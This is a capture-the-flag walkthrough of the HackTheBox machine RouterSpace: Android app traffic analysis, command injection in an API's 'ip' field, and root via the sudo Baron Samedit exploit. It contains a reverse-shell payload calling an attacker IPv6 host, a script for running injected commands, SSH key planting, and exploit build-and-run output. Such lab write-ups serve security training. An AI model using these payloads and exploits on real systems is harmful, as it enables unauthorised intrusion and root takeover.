RouterSpace was all about dynamic analysis of an Android application. Unfortunately, it was a bit tricky to get setup and working. I’ll use a system-wide proxy on the virtualized Android device to route traffic through Burp, identifying the API endpoint and finding a command injection. For root, I’ll exploit the Baron Samedit vulnerability in sudo that came our in early 2021.

Box Info

Name RouterSpace RouterSpace
Play on HackTheBox
Release Date 26 Feb 2022
Retire Date 09 Jul 2022
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for RouterSpace
Radar Graph Radar chart for RouterSpace
First Blood User 00:19:37szymex73
First Blood Root 00:37:02jkr
Creator h4rithd



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2022-06-08 21:17 UTC
Nmap scan report for
Host is up (0.092s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2022-06-08 21:19 UTC
Nmap scan report for
Host is up (0.090s latency).

22/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-RouterSpace Packet Filtering V1
80/tcp open  http
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 OK
|     X-Powered-By: RouterSpace
|     X-Cdn: RouterSpace-76575
|_    Connection: close
|_http-title: RouterSpace
|_http-trane-info: Problem with XML parsing of /evox/about
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at :

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 20.07 seconds

Neither the SSH nor the HTTP server versions are recognized. The HTTP response is returning an odd X-POWERED-BY header, which I’ll look at in a bit.

Website - TCP 80


The site is for a company the sells some kind of mobile app:

The only link on the page that does anywhere else is the “Download” button at the top right. Clicking it downloads RouterSpace.apk.

Tech Stack

The HTTP response headers are unusual:

HTTP/1.1 200 OK
X-Powered-By: RouterSpace
X-Cdn: RouterSpace-16098
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT
ETag: W/"652c-17d476c9285"
Content-Type: text/html; charset=UTF-8
Content-Length: 25900
Date: Wed, 08 Jun 2022 21:30:23 GMT
Connection: close

The X-POWERED-BY and X-Cdn headers are unique, and searching for those strings doesn’t turn up much.

The main page loads as index.html, so it seems like just a static site.

Directory Brute Force

The site is configured to send a 200 response for any request, where a 404 would be typical. feroxbuster recognizes the wildcard response, but then proceeds to show me every response anyway (it typically tried to filter responses that match the known bad path, in this case

oxdf@hacky$ feroxbuster -u

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt       
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
WLD      GET        1l       14w       71c Got 200 for (url length: 32)
WLD      GET        5l       12w       73c Got 200 for (url length: 96)                       
200      GET        3l       12w       73c
200      GET        1l       12w       70c
200      GET        6l       14w       74c                 
301      GET       10l       16w      171c => /js/         
200      GET        6l       12w       76c      
200      GET        6l       13w       76c
200      GET        1l       11w       65c  

It seems that the length of the response is changing for each request. I’ll try one of these manually:

On refresh of the same URL, it’s different:


The “RequestID” seems to change randomly, which I suspect is why feroxbuster is having a hard time filtering it out.

I can filter out these responses using -X [pattern], which will remove anything that matches pattern in the response body:

oxdf@hacky$ feroxbuster -u -X 'Suspicious activity detected !!!'

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 💢  Regex Filter          │ Suspicious activity detected !!!
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET       10l       16w      173c => /css/
301      GET       10l       16w      173c => /img/
200      GET      536l     1382w    25900c
301      GET       10l       16w      171c => /js/
301      GET       10l       16w      177c => /fonts/
301      GET       10l       16w      187c => /img/banner/
301      GET       10l       16w      183c => /img/icon/
301      GET       10l       16w      185c => /js/vendor/
[####################] - 1m    270000/270000  0s      found:8       errors:0      
[####################] - 1m     30000/30000   377/s 
[####################] - 1m     30000/30000   378/s 
[####################] - 1m     30000/30000   378/s 
[####################] - 1m     30000/30000   378/s 
[####################] - 1m     30000/30000   378/s 
[####################] - 1m     30000/30000   379/s 
[####################] - 1m     30000/30000   379/s 
[####################] - 1m     30000/30000   379/s 
[####################] - 1m     30000/30000   380/s 

Nothing interesting here, but good to know that -X flag works.

Shell as paul

RouterSpace.apk - Static

Install apktool

To look at the application, I’ll use apktool, from ibotpeaches. The install instructions show a manual download and install, but I’m also able to apt install apktool.

Unpack APK

An APK is an Android Package file, to be loaded onto Android mobile devices. Typically they are written in Java, but also support Kotlin. APKs are archive files, which means that they are really just a zip-like container with a bunch of other files in them.

To extract the source, I’ll run apktool d RouterSpace.apk:

oxdf@hacky$ apktool d RouterSpace.apk 
I: Using Apktool 2.4.0-dirty on RouterSpace.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/oxdf/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

This generates a bunch of new files/directories:

oxdf@hacky$ ls -l RouterSpace/
total 36
-rwxrwx--- 1 root vboxsf 1148 Jun  8 21:56 AndroidManifest.xml
-rwxrwx--- 1 root vboxsf 3751 Jun  8 21:56 apktool.yml
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 assets
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 kotlin
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 lib
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 original
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 res
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 smali
drwxrwx--- 1 root vboxsf 4096 Jun  8 21:56 unknown

Static Analayis

Not necessary for solving RouterSpace, but some poking around will find a certificate at original/META-INF/CERT.RSA. It’s not necessary to find this, but it does give a domain name of routerspace.htb:

oxdf@hacky$ strings original/META-INF/CERT.RSA

I guess the domain could be routerspace.htb1, but it seems more likely that there just happens to be an 0x31 byte following the string in the certificate.

At the root of the application is AndroidManifest.xml, which (from the Android docs):

describes essential information about your app to the Android build tools, the Android operating system, and Google Play.

The <activity> tag:

Declares an activity (an Activity subclass) that implements part of the application’s visual user interface. All activities must be represented by <activity> elements in the manifest file. Any that are not declared there will not be seen by the system and will never be run.

The android:name attribute within the <activity> tag specifies the name of the class that implements that activity.

For RouterSpace the AndroidManifest.xml file is:

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.routerspace" platformBuildVersionCode="30" platformBuildVersionName="11">
    <uses-permission android:name="android.permission.INTERNET"/>
    <application android:allowBackup="false" android:appComponentFactory="" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:name="com.routerspace.MainApplication" android:roundIcon="@mipmap/ic_launcher" android:theme="@style/AppTheme">
        <activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode" android:label="@string/app_name" android:launchMode="singleTask" android:name="com.routerspace.MainActivity" android:windowSoftInputMode="adjustResize">
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>

So “com.routerspace.MainActivity” seems like a good place to start. .smali files are kind of like assembly language, still in text, but much lower level than the Java it’s compiled from. For details, check out the smali wiki.

Typically I would be doing to something like JD-GUI for Java reverse engineering, but I’ll take a quick look at the file, and it’s quite short:

.class public Lcom/routerspace/MainActivity;
.super Lcom/facebook/react/ReactActivity;
.source ""

# direct methods
.method public constructor <init>()V
    .locals 0

    .line 5
    invoke-direct {p0}, Lcom/facebook/react/ReactActivity;-><init>()V

.end method

# virtual methods
.method protected getMainComponentName()Ljava/lang/String;
    .locals 1

    const-string v0, "RouterSpace"

    return-object v0
.end method

There are two methods. getMainComponentName is simple enough, returning “RouterSpace”. The other, the constructor, just has an invoke-direct call to com/facebook/react/ReactActivity.

React Native

Some Googling around for this will turn up references to React Native, a framework for creating Android and iOS applications in JavaScript.

This post talks about reverse engineering React Native applications, and leads to the assets/ where the JavaScript is. In this case, it’s a heavily obfuscated mess, 740 lines that look like this (five lines shown):

image-20220609083424162Click for full size image

RouterSpace.apk - Dynamic

Background / Failures

The goal here is to set up an emulator and proxy the application traffic through Burp or watch it in Wireshark to see how it communicates with the RouterSpace host.

Getting this all set up was by far the hardest part of this box, and having read all the box reviews, what people really didn’t like about the box. I tried a bunch of emulators / configurations that didn’t work. I was never able to get Android Studio’s emulator to completely work. I could get a system up and running, and get the APK installed. I could get web traffic routed through Burp, but the application would fail to connect and I wouldn’t see any traffic. If anyone does find a detailed writeup getting it working in Android Studio, I’d love to see it (message me on Twitter or Discord).

The other issue that was hard to figure out is that something changed in Android API version 28 where the application from RouterSpace won’t use the proxy even if it’s defined system-wide. I can’t explain this. I looked at the Changelog and couldn’t see any specific reason why it might break. It could be something to do with forcing TLS and not trusting the Burp certificate, but when I open Wireshark in my VM, I don’t even see the traffic getting to TCP 8080 to see that the cert isn’t trusted.

Target Configuration

I did get it working with Genymotion using API version 27 or lower. I’ll need an account to use it, but it is free for personal use. Genymotion requires VirtualBox (which I’m already using), and the setup will look like this:


When the android VM wants to send a request, it will go through the proxy on the hacking VM. There, it will resolve DNS (if necessary), and connect to the target. Because my VPN is connected to HTB in the VM, the and the proxy is the one making the request, I don’t have to worry about connecting the VPN from the Android VM (as long as the traffic is going through the proxy).

Setup Genymotion

With Genymotion installed, I’ll open it and click on the + button at the top right:


I’ll select a phone with API 27 and click next:


On the next screen, I’ll name it something I’ll recognize, and click install:


It takes a minute to build the VM, and then it pops a message saying it’s ready:


Clicking “START” opens the phone:


Configure Proxy

I’ll drag down from the top of the phone and click the gear icon:


I’ll click “Network & Internet”, “Wi-Fi”, and then click and hold on “AndroidWifi” until the menu comes up:


“Modify network” pops a small menu, and after expanding “Advanced options”, I’ll switch “Proxy” from “None” to manual and set it to the IP/port of my hacking VM where Burp is running:


I’ll use, which is the IP of my VM on the same network as my host (using bridged routing in VirtualBox).

On my VM, I’ll need to configure Burp to listen on all interfaces, rather than the typical localhost. Under “Proxy” > “Options” > “Proxy Listeners” I’ll select the running listener and click “Edit”. I’ll change the “Bind to address” to “All interfaces”:


After clicking ok and ok again to accept the risk, it’s listening.

Test Proxy

To see if the proxy is working, I’ll open the web browser, which is this icon:


Visiting loads:


And there’s traffic in Burp:

image-20220625135150546Click for full size image

Also worth noting, if I put a bogus domain in, it goes to Burp to figure out it doesn’t know the host:


And that request is there in Burp, with no response:


If I add 0xdf.htb to my hosts file (say, pointing at, then it works:


I’m intentionally not using routerspace.htb here because I haven’t seen any indication of what domain name this site might use, and it’s risky to just assume it’s [boxname].htb.

Install RouterSpace.apk

To install, it’s as easy as finding the .apk file in a file explorer and dragging it onto the Android VM:


One letting go of the mouse, it installs, and opens to some welcome screens:


Intercept Request

After a couple clicks through initial pages, there’s a simple image with a “Check Status” button:


I’ll turn on Intercept in Burp, and click “Check Status”, and there’s a request:


It actually says “[unknown host]” at the top there because it isn’t able to resolve DNS for routerspace.htb. I’ll add this to /etc/hosts, and intercept another request, and it’s updated:


I’ll send this to Repeater and send it to see the response:


RCE in Endpoint

Understand Endpoint

The endpoint takes an IP address and seems to return that IP. If I change it, the new IP comes back as a string:


I’ll start WireShark and give it my IP, but nothing interesting happens.

If I try something that isn’t a valid IP, it comes back just the same:


It seems almost like it’s just an echo endpoint. Presumably it’s doing something with the IP on the server.

I’ll also note that the User-Agent string is interesting. If I change it in any way, the server complains:


Command Injection

On the assumption that something is being done with this given IP address, I’ll try adding command injection to the parameters, and it works:


Shell - Fail

My initial thought is to get a reverse shell. I’ll try my favorite bash reverse shell, but it just hangs, with no contact at my waiting nc:


This is indicative of a firewall blocking outbound. which nc shows that nc is on the box, so I’ll try a simple nc 443, and it hangs as well.

Shell - Unintened Success via IPv6

There’s an unintended bypass here that IppSec pointed out - The firewall is only blocking IPv4. So it’s possible to get a shell using IPv6 with a payload like:

{"ip": "$(bash -c 'bash -i >& /dev/tcp/dead:beef:2::1004/443 0>&1')"}

I’ll use ncat to listen on IPv6 using the -6 flag:

oxdf@hacky$ ncat -6lvnp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Connection from dead:beef::250:56ff:feb9:c742.
Ncat: Connection from dead:beef::250:56ff:feb9:c742:41884.
bash: cannot set terminal process group (913): Inappropriate ioctl for device
bash: no job control in this shell

Enumerate Host

Generate Bash Script

Proceeding without the unintended reverse shell, I’ll take this POST request and generate a curl command I can use to make enumeration easier. I like to then put it into a short bash script so I can just up arrow, and change the command, and re-run. The script looks like:


curl -s -x \
        -H 'user-agent: RouterSpaceAgent' \
        -H 'Content-Type: application/json' \
        -d '{"ip":"$('"$1"')"}' \
        http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess \
        | jq -r .

There’s two tricks in there. First, in order to get $1 to expand to the passed in argument, I’ll need to close the single quote string, put it in double quotes, and then start the single quote string again (bash is a headache like that).

I’m also using jq with -r to print the raw string, which removes the "" around the result and the trailing \n. jq is made for JSON, but technically a string is valid JSON, so it works. It doesn’t help fix the fact that the server seems to strip out new lines in the middle of results, so that’s still a mess.

The script runs as hoped:

oxdf@hacky$ ./ 'id'
uid=1001(paul) gid=1001(paul) groups=1001(paul)

I’ll find user.txt in paul’s home dir:

oxdf@hacky$ ./ 'ls /home/paul'
snap user.txt

The multiline result is a mess:

oxdf@hacky$ ./ 'ls -l /home/paul'
total 8 drwxr-xr-x 3 paul paul 4096 Feb 17 18:30 snap -r--r----- 1 root paul 33 Jun 19 21:13 user.txt

Anyway, I can read the flag:

oxdf@hacky$ ./ 'cat /home/paul/user.txt'


paul’s homedir does have a .ssh directory:

oxdf@hacky$ ./ 'ls -a /home/paul'
. .. .bash_history .bash_logout .bashrc .cache .gnupg .local .pm2 .profile snap .ssh user.txt

It’s empty:

oxdf@hacky$ ./ 'ls -a /home/paul/.ssh'
. ..

I’ll try adding my public key to an authorized_keys file:

oxdf@hacky$ ./ 'echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /home/paul/.ssh/authorized_keys'
parse error: Invalid numeric literal at line 1, column 10

If I check Burp, the request looks like this, and I can see the " are messing things up:


Sending again with the " escaped solves it:

oxdf@hacky$ ./ 'echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\" >> /home/paul/.ssh/authorized_keys'


I can connect as paul:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen paul@
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)
Last login: Sat Nov 20 18:30:35 2021 from

Shell as root



There’s not much of interesting in paul’s home directory, and paul is the only home directory in /home.

/opt/www/public/routerspace has the web server. It’s an unusual space, but not much interesting there.

Looking around, I don’t see much else that could be useful.


At this point, I’ll upload LinPEAS. I’ll grab the latest from the release page (it’s always nice to grab the latest, as this thing updates all the time - as I’m solving, it was last updated 7 days ago).

With a copy on my VM, I’ll use scp to get it onto RouterSpace (other options like fetching it from a webserver are blocked by the firewall):

oxdf@hacky$ scp -i ~/keys/ed25519_gen paul@routerspace.htb:/dev/shm
Warning: Permanently added 'routerspace.htb' (ECDSA) to the list of known hosts.                          100%  759KB 954.4KB/s   00:00 

bash /dev/shm/ will run it. There’s a ton of output, so I’ll just highlight the interesting bits.

Right at the top, there’s a yellow with red text (high confidence privilege escalation (PE) vector) in the “System Information”:

image-20220625173638292Click for full size image

A bit further down, the Linux Exploit Suggester finds more:

image-20220625174232961Click for full size image

There’s a bunch more good enumeration stuff in the output, but given some solid leads on exploits, I’ll run those down first.

CVE-2017-5618 relies on a SetUID screen binary, which I wasn’t able to find on RouterSpace, so that looks like a false positive.

Failed Exploits


Just like in Paper, the box reports to be vulnerable to CVE-2021-4034, otherwise known as PwnKit. However, to be vulnerable, pkexec must be running SetUID as root. It is not here:

paul@routerspace:/dev/shm$ which pkexec
paul@routerspace:/dev/shm$ ls -l /usr/bin/pkexec 
-rwxr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec

So this is a false positive.

PolKit Vuln

In Paper, CVE-2021-3560 was the intended solution. I’ll use the same POC here, but it fails:

paul@routerspace:/dev/shm$ bash 

[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as ubuntu
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!
[!]  Aborting Execution!

That POC works by adding a new user in the sudo group, and it’s failing because it uses the Accountsservice and Gnome-Control-Center to do that. Because that is core to how the exploit functions , there’s not much I can do here.


The vulnerability in NetFilter, CVE-2021-22555, says it requires the ip_tables kernel module to be loaded. That is actually present here:

paul@routerspace:/dev/shm$ lsmod | grep ip_tables
ip_tables              32768  9 iptable_filter
x_tables               40960  11 ip6table_filter,xt_conntrack,iptable_filter,xt_LOG,xt_tcpudp,xt_addrtype,ip6_tables,ipt_REJECT,ip_tables,xt_limit,xt_NFQUEUE

I’ll download the POC from the link in the LinPeas output, and compile it and scp it to RouterSpace:

oxdf@hacky$ gcc -m32 -static -o cve-2021-22555 cve-2021-22555.c oxdf@hacky$ scp -i ~/keys/ed25519_gen cve-2021-22555 paul@routerspace.htb:/dev/shm/
cve-2021-22555                  100%  706KB 879.9KB/s   00:00

I’ll run it a couple times, but it fails the same way each time:

paul@routerspace:/dev/shm$ ./cve-2021-22555
[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[-] Error could not corrupt any primary message.

Baron Samedit


It’s not really clear to me what the difference is between “sudo Baron Samedit” and “sudo Baron Samedit 2” (they both have the same details link, though there are two different POCs - it could just be two different POCs):

[+] [CVE-2021-3156] sudo Baron Samedit

   Exposure: probable                              
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL:             

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Exposure: probable                              
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL:

This post from Qualys gives all the details. It’s a heap-based buffer overflow, which means the details are way beyond what’s needed to complete an easy box. It’s enough to know that buffer overflows often lead to command execution, and this is in a process running as root.

Check Vulnerability

This repo gives a nice check for vulnerability (in addition to a POC), sudoedit -s Y. If it asks for a password, it’s probably vulnerable. If it prints help, then it’s patched.

Looks promising:

paul@routerspace:/dev/shm$ sudoedit -s Y
[sudo] password for paul:


I’ll clone the repo to my host, and follow the instructions to build the binary:

oxdf@hacky$ git clone
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 13 (delta 1), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (13/13), 4.13 KiB | 4.13 MiB/s, done.
Resolving deltas: 100% (1/1), done.

I’ll scp it to RouterSpace:

oxdf@hacky$ scp -ri ~/keys/ed25519_gen CVE-2021-3156/ paul@routerspace.htb:/dev/shm/                                                            100%  692     7.4KB/s   00:00    
Makefile                                                             100%  208     2.3KB/s   00:00    
exploit                                                              100%   16KB  88.2KB/s   00:00                                                               100%   14KB 142.9KB/s   00:00    
description                                                          100%   73     0.7KB/s   00:00    
index                                                                100%  441     4.7KB/s   00:00

I’ll make it as indicated in the

paul@routerspace:/dev/shm/CVE-2021-3156$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/ shellcode.c
cc -O3 -o exploit exploit.c

Now running it returns a root shell:

paul@routerspace:/dev/shm/CVE-2021-3156$ ./exploit 
# id
uid=0(root) gid=0(root) groups=0(root),1001(paul) 

And I can read root.txt:

# cat root.txt